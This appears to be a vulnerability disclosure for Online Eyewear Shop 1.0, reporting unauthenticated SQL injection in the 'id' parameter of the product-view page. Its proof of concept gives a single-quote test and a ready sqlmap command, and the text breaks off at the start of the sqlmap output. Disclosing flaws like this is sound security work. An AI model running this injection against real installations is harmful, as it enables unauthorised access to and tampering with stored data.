1. Description:
----------------------

Online Eyewear Shop 1.0 allows Unauthenticated SQL Injection via parameter 'id' in 'oews/?p=products/view_product&id=?'  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

Step 1 - By visiting the url: http://localhost/oews/?p=products/view_product&id=5 just add single quote to verify the SQL Injection.
Step 2 - Run sqlmap -u "http://localhost/oews/?p=products/view_product&id=3" -p id --dbms=mysql

SQLMap Response:

[*] starting @ 04:49:58 /2023-02-01/
